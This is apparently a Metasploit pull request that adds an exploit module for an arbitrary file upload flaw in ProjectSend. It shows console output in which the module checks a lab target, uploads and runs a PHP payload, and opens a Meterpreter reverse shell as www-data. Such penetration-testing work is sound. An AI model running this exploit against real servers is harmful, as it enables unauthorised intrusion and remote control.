rapid7/metasploit-framework — pull request #4459 by bcoles (2014-12-23 11:01:01+00:00)
Title: Add ProjectSend Arbitrary File Upload module

Add ProjectSend Arbitrary File Upload module

* Port of http://www.exploit-db.com/exploits/35424/
* Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)

### Check

```
msf > use exploit/unix/webapp/projectsend_upload_exec
msf exploit(projectsend_upload_exec) > set RHOST 10.6.6.55
RHOST => 10.6.6.55
msf exploit(projectsend_upload_exec) > check
[*] 10.6.6.55:80 - The target is not exploitable.
msf exploit(projectsend_upload_exec) > set verbose true
verbose => true
msf exploit(projectsend_upload_exec) > set targeturi /ProjectSend-r561/
targeturi => /ProjectSend-r561/
msf exploit(projectsend_upload_exec) > check
[+] 10.6.6.55:80 - The target is vulnerable.
```

### Run

```
msf exploit(projectsend_upload_exec) > run

[*] Started reverse handler on 10.6.6.66:4444
[*] 10.6.6.55:80 - Uploading file 'YA577D9ea8L44gf.php' (1796 bytes)
[+] 10.6.6.55:80 - Payload uploaded successfully (YA577D9ea8L44gf.php)
[*] 10.6.6.55:80 - Executing upload/files/YA577D9ea8L44gf.php...
[*] Sending stage (40551 bytes) to 10.6.6.55
[*] Meterpreter session 1 opened (10.6.6.66:4444 -> 10.6.6.55:58917) at 2014-12-20 13:25:45 -0500
[+] Deleted YA577D9ea8L44gf.php
^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
```